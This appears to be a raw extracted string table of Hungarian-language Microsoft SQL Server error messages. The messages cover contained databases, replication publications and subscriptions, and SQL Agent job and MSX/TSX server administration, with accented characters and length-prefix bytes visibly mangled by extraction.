Egy pldnyra vonatkoz felhasznli kapcsolkat 0-ra kell belltani egy tartalmazott adatbzison val %1!s! mqvelethez.

4A rendszer hibkat szlelt a kvetkezQben az objektum lefordtsa sorn:  %2!s!  %1!s!. Vagy mdostottk a(z)  %3!s!  adatbzis tartalmazsi belltst, vagy ez az objektum szerepelt a modelladatbzisban, s a felhasznl megprblt ltrehozni egy j tartalmazott adatbzist.

0A(z)  %1!s!  nven hivatkozott objektum mskpp oldhat fel a cl metaadat-rendezsben ( %2!s! ), mint a jelenlegi metaadat-rendezsben ( %3!s! ).

,A(z)  %1!s!  nven hivatkozott oszlop mskpp oldhat fel a cl metaadat-rendezsben ( %2!s! ), mint a jelenlegi metaadat-rendezsben ( %3!s! ).

XA(z)  %1!s!  nven hivatkozott tpus vagy XML-smagyqjtemny mskpp oldhat fel a cl metaadat-rendezsben ( %2!s! ), mint a jelenlegi metaadat-rendezsben ( %3!s! ).

xA(z)  %1!s!  vltozra, paramterre vagy ugrsi cmkre vonatkoz hivatkozs mskpp oldhat fel a cl metaadat-rendezsben ( %2!s! ), mint a jelenlegi metaadat-rendezsben ( %3!s! ).

A RECONFIGURE utasts vgrehajtsa sikertelen volt. Megksreltk 0-ra mdostani a  tartalmazott adatbzis hitelestse  rtket, mikzben vannak ltezQ tartalmazott adatbzisok, amelyek megkvetelik a RECONFIGURE WITH OVERRIDE utasts hasznlatt.

LAz sp_migrate_user_to_contained trolt eljrs nem hasznlhat nem tartalmazott adatbzisban (olyan adatbzisban, amelyben a CONTAINMENT bellts rtke NONE).

\Az sp_migrate_user_to_contained trolt eljrs nem hasznlhat olyan felhasznlval, akinek jelszava vagy felhasznltpusa nem SQL rendszerbeli bejelentkezsre szolgl.

$Az sp_migrate_user_to_contained trolt eljrs nem hasznlhat olyan felhasznlval, akit egy alrt modul EXECUTE AS zradkban hasznlnak.

Az sp_migrate_user_to_contained trolt eljrs nem hasznlhat egy jelsznak egy rgi kivonatol algoritmusba val msolsra.

Az sp_migrate_user_to_contained trolt eljrs nem tallja a kvetkezQ felhasznl bejelentkezsi adatait:  %1!s! .

Az sp_configure trolt eljrs  tartalmazott adatbzis hitelestse  rtkt 1-re kell belltani egy tartalmazott adatbzison vgzett %1!s! mqvelethez. A value_in_use rtk belltshoz esetleg a RECONFIGURE utastst kell hasznlnia.

Az adatbzis nem lehet tartalmazott; ez a funkci nem rhetQ el az SQL Server jelenlegi kiadsban.

\A RECONFIGURE WITH OVERRIDE utasts 0-ra lltotta a  tartalmazott adatbzis hitelestse  rtket, mikzben hasznlatban vannak tartalmazott adatbzisok. Ez megszaktja majd a tartalmazott felhasznlk hitelestst, s a tovbbiakban nem teszi lehetQv j tartalmazott adatbzisok ltrehozst.

HA felhasznl ltal elnevezett  %2!s!  %1!s! korltozs nem hasznlhat a(z)  %3!s!  ideiglenes tblra, mert az egy tartalmazott adatbzisban kerl ltrehozsra. A tartalmazott adatbzisokrl az online knyvek  A tartalmazott adatbzisok ttekintse  cmq tmakrben olvashat bQvebben.

A tempdb adatbzisban levQ, felhasznl ltal definilt  %2!s!  %1!s! nem hivatkozhat a(z)  %3!s!  helyi ideiglenes tblbl, mert az ideiglenes tbla egy tartalmazott adatbzisban kerl ltrehozsra. A tartalmazott adatbzisokrl az online knyvek  A tartalmazott adatbzisok ttekintse  cmq tmakrben olvashat bQvebben.

4A(z)  %1!s!  trolt eljrs szmozott trolt eljrsok csoportjra hivatkozik. A szmozott trolt eljrsok tartalmazott adatbzisokban nem rhetQk el. A tartalmazott adatbzisokrl az online knyvek  A tartalmazott adatbzisok ttekintse  cmq tmakrben olvashat bQvebben.

<Az sp_configure trolt eljrs  felhasznli belltsok  belltsnak nullnak kell lennie, ha tartalmazott adatbzisok tartoznak az adatbzismotorhoz.

A kvetkezQ adatbzis egy tartalmazott adatbzis:  %1!s! . A  tartalmazott adatbzis hitelestse  bellts 0. A jelszval rendelkezQ felhasznlk nem tudnak majd bejelentkezni a tartalmazott adatbzisokba.

A(z)  %1!s!  adatbzis ltrehozsa vagy tartalmazott adatbziss alaktsa sikertelen volt, mert a smhoz kttt  %3!s!  %2!s! a beptett  %4!s!  fggvnytQl fgg. Egy tartalmazott adatbzisban ennek a beptett fggvnynek a kimeneti rendezse a kvetkezQre mdosult, ami eltr egy nem tartalmazott adatbzisban hasznlt rendezstQl:  %5!s! .

A(z)  %1!s!  adatbzis ltrehozsa vagy tartalmazott adatbziss alaktsa sikertelen volt, mert a(z)  %3!s!  tblra vonatkoz  %2!s!  ellenQrzQ korltozs a beptett  %4!s!  fggvnytQl fgg. Egy tartalmazott adatbzisban ennek a beptett fggvnynek a kimeneti rendezse a kvetkezQre mdosult, ami eltr egy nem tartalmazott adatbzisban hasznlt rendezstQl:  %5!s! .

A(z)  %1!s!  adatbzis ltrehozsa vagy tartalmazott adatbziss alaktsa sikertelen volt, mert a(z)  %4!s!  %3!s!  %2!s!  szmtott oszlopa a beptett  %5!s!  fggvnytQl fgg. Egy tartalmazott adatbzisban ennek a beptett fggvnynek a kimeneti rendezse a kvetkezQre mdosult, ami eltr egy nem tartalmazott adatbzisban hasznlt rendezstQl:  %6!s! .

Az ALTER DATABASE utasts vgrehajtsa sikertelen volt. Nem sikerlt mdostani a(z)  %1!s!  adatbzis tartalmazsi belltst, mert a rendszer fordtsi hibkat szlelt az SQL-modulok rvnyestse sorn. Tekintse t a korbbi hibkat.

A CREATE DATABASE utasts vgrehajtsa sikertelen volt. Nem sikerlt ltrehozni a(z)  %1!s!  tartalmazott adatbzist, mert a rendszer fordtsi hibkat szlelt az SQL-modulok rvnyestse sorn. Tekintse t a korbbi hibkat.

A replikci, az adatvltozsok rgztse s a vltozsok kvetse tartalmazott adatbzisokban nem tmogatott. A kvetkezQ adatbzis nem alakthat t tartalmazott adatbziss, mert be van kapcsolva benne e lehetQsgek egyike:  %1!s! .

A replikci, az adatvltozsok rgztse s a vltozsok kvetse tartalmazott adatbzisokban nem tmogatott. A lehetQsg nem engedlyezhetQ a kvetkezQ tartalmazott adatbzisra:  %1!s! .

A CREATE DATABASE utasts vgrehajtsa sikertelen volt. Nem sikerlt az adatbzis jrarendezse, mert problma trtnt a rszlegesen tartalmazott  %1!s!  adatbzis alaprtelmezett  %2!s!  adatrendezssel val ltrehozsa sorn.

Az ALTER DATABASE utasts vgrehajtsa sikertelen volt. Nem sikerlt az adatbzis jrarendezse, mert problma trtnt a(z)  %1!s!  adatbzis tartalmazs= %2!s!  belltsra val mdostsa sorn.

DA COLLATE CATALOG_DEFAULT zradk nem hasznlhat korltozsban, szmtott oszlopban, index szqrQkifejezsben vagy brmely ms, smhoz kttt objektumban.

0A(z)  %1!s!  adatbzis tartalmazsi llapota nem egyezik a fQadatbzisban levQ rtkkel. A tartalmazott adatbzisokkal kapcsolatos funkcik nem a vrt mdon mqkdnek majd. Vlassza le, majd csatolja jbl az adatbzist, hogy kijavtsa az adatbzis llapott a fQadatbzisban.

A naplbejegyzsek azonostshoz adja meg a kvetkezQk egyikt: %1!s! vagy %2!s!.

tRszterv ltrehozsakor a(z) %1!s! megadsa ktelezQ.

A futtatand terv vagy rszterv azonostshoz adja meg a kvetkezQk egyikt: %1!s! vagy %2!s!.

fjlnv

naplzs

8naplzsi specifikci

 napl neve

4kiszolgl szerepkr

Pkiszolgl rendszerbiztonsgi tagja

0vgrehajtsi tpus

0szimmetrikus kulcs

8rendszerbiztonsgi tag

,biztonsgi ler

,hipotetikus index

0nem frtztt index

,hitelestQ adatok

0aszimmetrikus kulcs

0partcis fggvny

$partcisma

 titkosts

alrs

jelsz

tnevezs

(prbeszd vge

@END CONVERSATION WITH ERROR

,MOVE CONVERSATION

Pfogads: sorrendbe lltott zenet

8fogads: prbeszd vge

Hfogads: prbeszd vge hibval

Hfogads: tvitelszervezQi hiba

@fogads: zenet nyugtzsa

8beszlgets befejezse

4tvitelszervezQi hiba

,szmll-alrs

<BEGIN CONVERSATION TIMER

Dbeszlgetsi idQztQ indtsa

DEND CONVERSATION WITH CLEANUP

<BEGIN DIALOG CONVERSATION

SEND

 beszlgets

0beszlgetscsoport

rendszer

(Service Broker

0adatbzis-tkrzs

,beszlgetsler

8GET CONVERSATION GROUP

fQkulcs

azonos SQL-nevq msik szerelvny mr ltezik az aktulis adatbzisban

|eltrQ verzi, kulturlis krnyezet vagy nyilvnos kulcs

$IL fordtsa

LFolyamaton belli adathozzfrs

$DDL-mqveletek

Pvgrehajtsi gyorsttr kirtse

<nem meghatrozott mqvelet

prbeszd

8titkostsi algoritmus

8hitelestsi protokoll

Htitkostsi algoritmus cmkje

nv

 ujjlenyomat

LIV-hossz (inicializlsi vektor)

bithossz

 korltozs

@adatbzis-titkostsi kulcs

$Horgonyrekord

Lapsztr

DTmrtsi adatok struktrja

Nem tallhat a(z) %1!s! feladatazonostval rendelkezQ  Sync  alrendszer.

LMeg kell adnia egy kiadvnynevet.

d%1!s!: az aktulis adatbzisban kell lennie.

 A kiadvny nem dobhat el, mert legalbb egy elQfizets vonatkozik r. A kiadvny eldobsa elQtt dobja el az sszes elQfizetst. Ha a problma tartsan fennll, valsznqleg helytelenek a repliklsi metaadatok. A problma megoldsrl az online knyvekben olvashat.

HNem lehet eldobni a kiadvnyt.

4Nincsenek kiadvnyok.

`Nincsenek cikkek a(z)  %1!s!  kiadvnyhoz.

,A tvoli  %1!s!  kiszolgl nincs megadva elQfizetsi kiszolglknt. gyeljen arra, hogy a kiszolglnevet adja meg, ne egy hlzati aliasnevet.

A(z)  %1!s!  kiszolgl nem jellhetQ meg nem SQL Server-elQfizetQknt.

A @status paramternek  active  vagy  inactive  rtkqnek kell lennie.

tEnnl az adatbzisnl nem engedlyezett a kzzttel.

A szinkronizlsi metdus (@sync_method) rtknek a kvetkezQnek kell lennie:  [bcp] native ,  [bcp] character ,  concurrent ,  concurrent_c ,  database snapshot  vagy  database snapshot character .

A repliklsi gyakorisgnak (@repl_freq)  continuous  vagy  snapshot  rtkqnek kell lennie.

PA(z)  %1!s!  kiadvny mr ltezik.

A @restricted paramter rtke rvnytelen. Az rvnyes rtkek a kvetkezQk:  true  vagy  false .

LNem lehet ltrehozni a kiadvnyt.

A @operation paramternek  add ,  drop  vagy  alter  rtkqnek kell lennie.

Nem lehet megszerezni a megadott oszlop oszlopazonostjt. Nem sikerlt a smareplikls vgrehajtsa.

dAz oszlop helytelenl lett felvve a cikkbe.

A @property paramternek  description ,  sync_object ,  type ,  ins_cmd ,  del_cmd ,  upd_cmd ,  filter ,  dest_table ,  dest_object ,  creation_script ,  pre_creation_cmd ,  status ,  schema_option  vagy  destination_owner  rtkqnek kell lennie.

A tpusnak a kvetkezQnek kell lennie:  [indexed view ]logbased[ (manualview|manualfilter|manualboth)] ,  [serializable ]proc exec  vagy  (view|indexed view|proc|func|aggregate|synonym) schema only .

A  subscriber_provider  tulajdonsg rtke nem lehet NULL.

$A  subscriber_type  tulajdonsg rtke nem tmogatott heterogn elQfizetQi tpus. Az rtk 1 (ODBC-elQfizetQ) vagy 3 (OLEDB-elQfizetQ) lehet.

lA(z) %1!s! nem ltezik az aktulis adatbzisban.

Csak tblk, materializlt nzetek s trolt eljrsok tehetQk kzz  logbased  cikkekknt.

A fggQleges partci kapcsoljnak rtke  true  vagy  false  lehet.

tA(z)  %1!s!  cikk a(z)  %2!s!  kiadvnyban tallhat.

Csak a felhasznli tblk s nzetek az rvnyes szinkronizlsi objektumok.

A(z) %1!s! paramter rtke nem lehet  all . Ez az rtk a repliklsi trolt eljrsok szmra van fenntartva.

Nem lehet megvltoztatni a repliklsi gyakorisgot, mert aktv elQfizetsek tartoznak a kiadvnyhoz.

|A kiadvnynv (@publication) nem lehet az  all  kulcssz.

A(z)  %2!s!  adatbzis  %1!s!  repliklsi belltsnl mr meg van adva a  true  rtk.

tNem lehet engedlyezni a kzzttelt az adatbzisban.

A(z)  %2!s!  adatbzis  %1!s!  repliklsi belltsnl a  false  rtk van megadva.

pNem lehet letiltani a kzzttelt az adatbzisban.

Nem sikerlt sszelltani az oszlopzradkot a cikknzethez. A nzet kzi ltrehozshoz cskkentse az oszlopok szmt.

XA(z)  %1!s!  kiszolgl mr elQfizetQ.

 A(z)  %1!s!  tulajdonsg csak akkor mdosthat, ha a kiadvny engedlyezve van a heterogn elQfizetsekhez. A kiadvny nincs engedlyezve.

XNem sikerlt ltrehozni az elQfizetQt.

A(z) %2!s! trolt eljrsnak tadott %1!s! paramter nem lehet NULL.

tNem lehet trlni a kiszolgl elQfizetQi llapott.

Nem lehet frissteni a subscriber_type oszlopot az MSdistribution_agents tblban.

xNem lehet eldobni a cikket. ElQfizets tartozik hozz.

XNem lehet eldobni a kvetkezQt: %1!s!.

XA(z)  %1!s!  kiszolgl nem elQfizetQ.

Az objektumok kzl csak a replikls trolt eljrsai hasznlhatk szqrQknt.

pNincs elQfizets ehhez a kiadvnyhoz vagy cikkhez.

A paramterrtknek a kvetkezQnek kell lennie:  sync_type  vagy  dest_db .

4A @sync_type paramternek  automatic ,  none ,  replication support only ,  initialize with backup  vagy  initialize from lsn  rtkqnek kell lennie.

hAz elQfizets frisstse most sikertelen volt.

dAz elQfizets eldobsa most sikertelen volt.

`Az elQfizets ltrehozsa sikertelen volt.

Nem lehet ltrehozni az elQfizetst, mert az mr ltezik az elQfizetsi adatbzisban. Csak egy elQfizets tartozhat ugyanahhoz a kiadvnyhoz mindegyik elQfizetsi adatbzisban. Dobja el az elQfizetst, s vegye fel jbl, ha szksges. Ha a problma tartsan fennll, valsznqleg helytelenek a repliklsi metaadatok. A problma megoldsrl az online knyvekben olvashat.

A materializlt nzet cikkei nem hozhatk ltre allow_sync_tran, allow_queued_tran vagy allow_dts tulajdonsggal rendelkezQ kiadvnybl.

A szolgltati tulajdonsgokat megad elQfizetQi paramtereknek NULL rtkqnek kell lennik az SQL Server-elQfizetQk esetben.

A @pre_creation_cmd paramternek  none ,  drop ,  delete  vagy  truncate  rtkqnek kell lennie.

A tvoli kiszolgl nem ltezik vagy nincs megadva rvnyes elQfizetQknt.

A @status paramternek  initiated ,  active ,  inactive  vagy  subscribed  rtkqnek kell lennie.

Az elQzQ llapotnak  active ,  inactive  vagy  subscribed  rtkqnek kell lennie.

|Az llapot rtke megegyezik az elQzQ llapot rtkvel.

Nem lehet megvltoztatni az objektum elQfizetsi llapott.

Nem lehet frissteni a sysarticles nzetet. Nem sikerlt mdostani az elQfizetsi llapotot.

Nem lehet frissteni a terjesztsi adatbzis elQfizetsi tbljt. Nem sikerlt mdostani az elQfizetsi llapotot.

Nem tallhat a helyi kiszolgl terjesztsi kiszolglja vagy terjesztsi adatbzisa. Lehet, hogy nincs teleptve a terjesztsi kiszolgl, vagy a helyi kiszolgl nincs belltva kzztevQ kiszolglknt a terjesztsi kiszolgln.

A(z)  %1!s!  kiszolgl mr be van sorolva kzztevQ kiszolglknt.

pA kzztevQ kiszolglt nem lehet most ltrehozni.

Nem lehet repliklsi bejelentkezsi engedlyt adni a kvetkezQnek:  %1!s! .

A paramternek  description ,  taskid ,  sync_method ,  status ,  repl_freq ,  restricted ,  retention ,  immediate_sync ,  enabled_for_internet ,  allow_push ,  allow_pull ,  allow_anonymous  vagy  retention  rtkqnek kell lennie.

TA tvoli  %1!s!  kiszolgl nem ltezik, nincs megadva rvnyes kzztevQ kiszolglnak, vagy nnek nincs engedlye az elrhetQ kzztevQ kiszolglk megtekintsre.

Az elQfizetQ adatai nem szerezhetQk meg a terjesztsi kiszolgltl.

A(z)  %1!s!  tblnak elsQdleges kulccsal kell rendelkeznie ahhoz, hogy kzz lehessen tenni a tranzakcialap metdussal.

A(z)  %1!s!  materializlt nzet nem tartalmazhat nullzhat oszlopokat, ha kzz lesz tve a tranzakcialap metdus hasznlatval.

<Nem sikerlt kirtkelni a cikkszinkronizlsi objektumot az oszlop eldobsa utn. A(z)  %1!s!  cikk szqrQzradka nem hivatkozhat az eldobott oszlopra.

Az sp_helpreplicationdb trol eljrsnak tadott @type paramternek  pub  vagy  sub  rtkqnek kell lennie.

Nem lehet megvltoztatni a cikket, mert egy elQfizets tartozik hozz.

4Nem lehet engedlyezni vagy letiltani a(z)  %1!s!  kiadvny kzvetlen hozzfrst, mert az az alaprtelmezett kiadvny-hozzfrsi listt hasznlja.

$Nem lehet elQfizetni a(z)  %1!s!  cikkre, mert a heterogn  %2!s!  elQfizetQ nem tmogatja a @pre_creation_cmd paramter  truncate  rtkt.

4A @sync_method paramter rtke rvnytelen. Nem lehet elQfizetni a(z)  %1!s!  kiadvnyra, mert a(z)  %2!s!  nem SQL Server-elQfizetQ csak a  character , a  bcp character , a  concurrent_c  s a  database snapshot character  rtket tmogatja a @sync_method paramter esetben.

A tbla-ltrehozsi parancsprogram elrsi tjt s nevt meg kell adni, ha a @pre_creation_cmd paramter rtke  drop .

A  status  rtknek a kvetkezQnek kell lennie:  no column names ,  include column names ,  string literals ,  parameters ,  DTS horizontal partitions  vagy  no DTS horizontal partitions .

Nem lehet eldobni a(z)  %1!s!  terjesztsi kzztevQ kiszolglt. A tvoli kzztevQt kiszolgl a(z)  %2!s!  kiszolglt hasznlja terjesztQknt. A kapcsolat eldobsa elQtt tiltsa le a kzzttelt a kzztevQ kiszolgln.

xA(z)  %1!s!  kiszolgl mr meg van adva terjesztsi kiszolglknt. Ha jbl be szeretn lltani a kiszolglt terjesztsi kiszolglknt, elQbb el kell tvoltania a meglvQ terjesztsi kiszolglt. Ehhez hasznlja az sp_dropdistributor trolt eljrst vagy a kzzttelt s a terjesztst letilt varzslt.

Adja meg az sszes cikket, amikor prhuzamos pillanatkp-feldolgozst hasznl kiadvnyra fizet elQ.

A(z)  %1!s!  kiadvnyhoz mr meg van adva egy pillanatkp-kezelQ gynk.

Adja meg az sszes cikket, amikor lemondja egy prhuzamos pillanatkp-feldolgozst hasznl kiadvny elQfizetst.

rvnytelen rtk:  %1!s! . Az rvnyes rtkek a kvetkezQk:  publisher ,  subscriber  vagy  both .

A terjeszts visszatartsi idQszakainak nullnl nagyobbnak vagy azzal egyenlQnek kell lennik.

A trolt eljrsok cikkei esetben a @property paramternek  description ,  dest_table ,  dest_object ,  creation_script ,  pre_creation_cmd ,  schema_option  vagy  destination_owner  rtkqnek kell lennie.

A @pre_creation_cmd paramternek  none  vagy  drop  rtkqnek kell lennie.

xEz az eljrs csak tblaalap cikkeken hajthat vgre.

A(z)  %1!s!  nem hajthat vgre. A teleptsi knyvtrban ellenQrizze a kvetkezQt:  %2!s! .

A(z)  %1!s!  kiszolgl nincs belltva terjesztsi kiszolglknt.

|A tulajdonsg paramternek %1!s! rtkqnek kell lennie.

xA(z)  %1!s!  nincs belltva terjesztsi adatbzisknt.

A trolt eljrsok csak  serializable proc exec ,  proc exec  vagy  proc schema only  cikk formjban tehetQk kzz.

Nem lehet felvenni a(z)  %1!s!  terjesztsi adatbzist. Ez a terjesztsi adatbzis mr ltezik.

Nem lehet eldobni a(z)  %1!s!  terjesztsi adatbzist. Ez a terjesztsi adatbzis kzztevQ kiszolglhoz van hozzrendelve.

Nem lehet eldobni a(z)  %1!s!  terjesztsi kiszolglt. Ehhez a terjesztsi kiszolglhoz terjesztsi adatbzisok vannak hozzrendelve.

A @article paramternek  all  rtkqnek kell lennie az immediate_sync kiadvnyok esetben.

Az elQfizets @sync_type paramternek  manual  rtke mr nem tmogatott.

A kiadvnyhoz legalbb egy cikknek tartoznia kell, csak gy lehet arra vonatkoz elQfizetst ltrehozni.

Nem rendelkezik a mqvelet vgrehajtshoz szksges engedllyel.

A @subscription_type paramter rtke rvnytelen. Az rvnyes rtkek:  push  vagy  pull .

<A @status paramternek NULL rtkqnek kell lennie a sync_type paramter  automatic  rtkq, amely elQfizetseket vesz fel egy immediate_sync kiadvnyba.

Nincsenek elQfizetsek a(z)  %1!s!  kzztevQ kiszolglhoz (kzztevQi adatbzis:  %2!s! , kiadvny:  %3!s! ).

Az  all  kulcssz a repliklsi trolt eljrsok szmra van lefoglalva.

A @value paramternek  true  vagy  false  rtkqnek kell lennie.

Prvnytelen belltsnv:  %1!s! .

lA repliklsi  %1!s!  rendszertbla mr ltezik.

$Nem lehet eldobni a(z)  %1!s!  terjesztsi vagy kzztevQi adatbzist. ElQfizetQk vannak hozzrendelve a(z)  %2!s!  terjesztsi adatbzisban.

Nem lehet eldobni a(z)  %1!s!  elQfizetQt. ElQfizetsek tartoznak hozz a(z)  %2!s!  kzztteli adatbzisban.

|A cikk  @schema_option  paramtere nem lehet NULL rtkq.

hA korltozott kiadvnyok mr nem tmogatottak.

rvnytelen rtk:  %1!s! . Az rvnyes rtkek:  true  vagy  false .

xRepliklsi %1!s!: a(z) %2!s! gynk sikertelen. %3!s!

A terjesztsi kiszolgl paramternek a  @heartbeat_interval  paramternek kell lennie.

A megadott cikkazonost rvnytelen az eljrs parancsprogramjnak ltrehozshoz.

A cikk defincijban megadott %1!s! parancs formtumt hv egyni trolt eljrs nem egyezik a(z) %2!s! formtummal.

Nem lehet megvltoztatni a(z)  %2!s!  cikk  %1!s!  tulajdonsgt, mert egy meglvQ elQfizets tartozik a cikkhez.

HA megadott  %1!s!  rvnytelen.

tEhhez a feladathoz egy vagy tbb olyan rtests tartozik, amely nem a(z)  %1!s!  opertorra vonatkozik. A feladat clja nem lehet tvoli kiszolgl a jelenlegi belltsok szerint.

XA(z)  %1!s!  opertor nem nevezhetQ t.

A(z)  %1!s!  opertor nem mdosthat s nem trlhetQ, amg ez a kiszolgl egy %2!s!.

Figyelmeztets: Nem lehet megllaptani a helyi gp nevt. Ez megakadlyozza az MSX-mqveletek elkldst.

Adja meg a kvetkezQ paramterek egyikt: job_name, job_id vagy originating_server.

Adjon meg egy rvnyes job_id rtket (vagy a 0x00 azonostt minden feladat szmra).

A megadott  %1!s!  rvnytelen (az rvnyes rtkeket a(z) %2!s! adja vissza).

A megadott  %1!s!  rvnytelen (az rvnyes rtkek nagyobbak 0-nl, de a(z) %2!s! nem szerepelhet kzttk).

Amikor meg van adva egy  REASSIGN  mqvelet, a New Login paramtert is meg kell adni.

Csak a rendszergazda mdosthatja a feladatok tulajdonosnak hozzrendelst.

Adja meg a trlendQ feladatok @name, @id vagy @loginname paramtert.

A megadott %1!s! tl hossz. %2!s! karakternl tbbet nem tartalmazhat.

|A(z)  %1!s!  nem adhat meg az rtestendQ opertorknt.

Ezt a mqvelet nem hajthatja vgre olyan feladaton, amelynek nem n a tulajdonosa.

4A feladat tulajdonosnak ( %1!s! ) rvnytelen a bejelentkezsi azonostja, vagy a tulajdonos nem rvnyes felhasznlja a(z)  %2!s!  adatbzisnak.

A(z)  %1!s!  feladat (azonost: %2!s!) nem indthat el, mert egyetlen feladatkiszolgl sincs definilva hozz. Rendelje hozz a feladatot egy feladatkiszolglhoz az sp_add_jobserver trolt utasts hasznlatval.

A(z)  %1!s!  feladat (azonost: %2!s!) nem llthat le, mert egyetlen feladatkiszolgl sincs definilva hozz. Rendelje hozz a feladatot egy feladatkiszolglhoz az sp_add_jobserver trolt utasts hasznlatval.

A mqvelet nem hajthat vgre az SQLServerAgent szolgltats indtsa kzben. KsQbb prblja meg jbl.

Nincs megfelelQ engedlye a parancs futtatshoz. Forduljon a rendszergazdhoz.

XA megadott %1!s! ( %2!s! ) mr ltezik.

XA megadott %1!s! ( %2!s! ) nem ltezik.

A clknt megadott  %1!s!  kiszolgl mr tagja a(z)  %2!s!  csoportnak.

A clknt megadott  %1!s!  kiszolgl nem tagja a(z)  %2!s!  csoportnak.

pAz MSSQLServer szolgltats vratlanul befejezQdtt. Az SQL Server hibanapljban, illetve a Windows rendszer s az alkalmazsok esemnynapliban keresse meg a lehetsges okokat.

|A megadott  %1!s!  rvnytelen (rvnyes rtkek: %2!s!).

Nem lehet feladatot felvenni a(z)  %1!s!  feladatkategriba.

A kiszolgln nincsenek olyan feladatok, amelyek a(z)  %1!s!  kiszolglrl szrmaznak.

A(z)  %1!s!  feladat cljaknt mr meg van adva a(z)  %2!s!  kiszolgl.

A(z)  %1!s!  feladat cljaknt jelenleg nincs megadva a(z)  %2!s!  kiszolgl.

XA clkiszolgl neve nem lehet  %1!s! .

Az objektumtpust s az objektumnevet prban kell megadni.

Meg kell adni a @job_id vagy a @job_name (s vlaszthatan a @schedule_name), illetve a @schedule_id paramtert.

4Nem lehet felvenni, frissteni vagy trlni az olyan feladatokat (illetve a lpseiket vagy az temezseiket), amelyek MSX-kiszolglrl szrmaznak.

A forrskiszolglnak helyi kiszolglnak vagy MSX-kiszolglnak kell lennie.

A(z)  %1!s!  egy lland %2!s! kategria, ezrt nem trlhetQ.

A parancsprogram nem semmisti meg az ltala ltrehozott sszes objektumot. EllenQrizze a parancsprogramot.

dA feladat temezse rvnytelen (ok: %1!s!).

Adja meg a @job_name, a @job_id vagy a @originating_server paramtert.

Adja meg a feladat nevt (s a feladat aspektust), vagy adjon meg egy vagy tbb feladatszqrsi paramtert.

Adjon meg egy dtumot (ltrehozs vagy utols mdosts) s egy adat-sszehasonltst, vagy ne adjon meg semmilyen dtumparamtert.

Adja meg a @target_server_groups vagy a @target_servers paramtert, illetve mindkettQt.

j feladatnak nem lehet megadni feladatazonostt. Az eljrs fog azonostt hozzrendelni.

Helyi feladat nem vehetQ fel tbbkiszolgls feladatkategriba.

Tbbkiszolgls feladat nem vehetQ fel helyi feladatkategriba.

pA megadott  %1!s!  esetben rvnytelen a(z) %2!s!.

dA(z) %1!s! nem szerepelhet a(z) %2!s! elQtt.

hA(z) %1!s! nem tartalmazhat  %2!s!  karaktert.

A feladat clja jelenleg a helyi kiszolgl, ezrt nem adhat meg egy tvoli kiszolgl is clknt.

A feladat clja jelenleg egy tvoli kiszolgl, ezrt nem adhat meg a helyi kiszolgl is clknt.

KettQ vagy tbb  %1!s!  nevq feladat szlelhetQ. A feladat egyedi azonostshoz a(z) %3!s! helyett adja meg a kvetkezQt: %2!s!.

KettQ vagy tbb  %1!s!  nevq feladat szlelhetQ. A feladat egyedi azonostshoz a(z) %3!s! helyett adja meg a kvetkezQt: %2!s!.

A feladat azonostshoz adja meg a kvetkezQk egyikt: %1!s! vagy %2!s!.

xA gyakorisg 0x2 tpusa (OnDemand) mr nem tmogatott.

Ez a kiszolgl mr be van jegyezve a(z)  %1!s!  MSX-kiszolglba.

\Nem lehetsges a bejegyzs a helyi gpbe.

Ez a kiszolgl jelenleg nincs bejegyezve MSX-kiszolglba.

A(z)  %1!s!  kiszolgl MSX-kiszolgl. Az MSX-kiszolgl nem jegyezhetQ be egy msik MSX-kiszolglba.

Az aktulis felhasznltl klnbzQ bejelentkezsi azonostkat csak a sysadmin (rendszergazda) szerepkr tagjai lthatjk.

xA(z)  %1!s!  oszlop nem ltezik a(z)  %2!s!  tblban.

A clkiszolgl (TSX) verzija nem kompatibilis a fQkiszolgl (MSX) verzijval (%1!s!.%2!s!.%3!s!).

Az integrcis szolgltatsok  %1!s!  csomagjnak hozzfrse megtagadva.

Nem lehet inicializlni a COM-fggvnytrat, mert nem sikerlt a CoInitialize fggvny vgrehajtsa.

Nem lehet befejezni a mqveletet, mert nem vrt hiba trtnt.

Nem lehet megllaptani az SQL Server-pldny szolgltatsfikjt.

|A(z)  %1!s!  nem szerepelhet az Active Directory cmtrszolgltatsban, mert a nv tl hossz. A nevek nem lehetnek hosszabbak 64 karakternl az Active Directory cmtrszolgltatsban.

`A(z) %1!s! mr be van lltva TSX-gpknt.

Az MSX-kiszolgln az SQL Server Standard vagy Enterprise kiadsnak kell futnia.

Az MSX-kiszolgl nincs elQksztve a bejegyzsre [az MSX-kiszolgln definilni kell egy  MSXOperator  nevq opertort].

`A TSX-kiszolgl jelenleg nincs bejegyezve.

hAdjon meg egy rvnyes schedule_uid azonostt.

Csak a sysadmin (rendszergazda) szerepkr tagjai mdosthatjk az temezsek tulajdonost.

|Egy vagy tbb temezets nem lett trlve, mert legalbb egy msik feladat hasznlja azokat. A feladatok temezsnek eltvoltshoz hasznlja az  sp_detach_schedule  trolt eljrst.

hA(z)  %1!s!  temezs nem lett trlve, mert legalbb egy msik feladat hasznlja. A feladatok temezsnek eltvoltshoz hasznlja az  sp_detach_schedule  trolt eljrst.

A(z)  %1!s!  temezsazonostt tbb feladat hasznlja. Adja meg a job_id rtkt.

LA @originating_server paramternek a helyi kiszolgl nevt kell tartalmaznia, vagy a clkiszolgln (TSX) tallhat MSX-feladatok fQkiszolgljnak (MSX) nevt.

KettQ vagy tbb  %1!s!  nevq temezs szlelhetQ. Az temezs egyedi azonostshoz a(z) %3!s! helyett adja meg a kvetkezQt: %2!s!.

Az temezs nem lett trlve, mert egy vagy tbb feladat hasznlja.

Az temezs azonostshoz adja meg a kvetkezQk egyikt: %1!s! vagy %2!s!.

A megadott  %1!s!  temezsnv nincs hozzrendelve a(z)  %2!s!  feladathoz.

4Tbb  %1!s!  nevq temezs van hozzrendelve a(z)  %2!s!  feladathoz. Hasznlja az  sp_update_schedule  trolt eljrst az temezsek frisstshez.

8Tbb  %1!s!  nevq temezs van hozzrendelve a(z)  %2!s!  feladathoz. Hasznlja az  sp_detach_schedule  trolt eljrst az temezsek eltvoltshoz.

tAz temezs nem lett hozzkapcsolva a megadott feladathoz. A hvnak a feladat tulajdonosnak kell lennie, vagy sysadmin (rendszergazda) szerepkrrel kell vgrehajtani a mqveletet.

Az SQLAgent mr nem tmogatja a @sysadmin_only jelzQt, itt csak a visszamenQleges kompatibilits rdekben szerepel.

,A(z)  %1!s!  tbla  originating_server_id  klsQ kulcshoz nem tartozik megfelelQ rtk a hivatkozott  dbo.sysoriginatingservers_view  nzetben.

A sysoriginatingservers tblban tallhat  originating_server_id  mezQre a sysjobs vagy a sysschedules tbla hivatkozik.

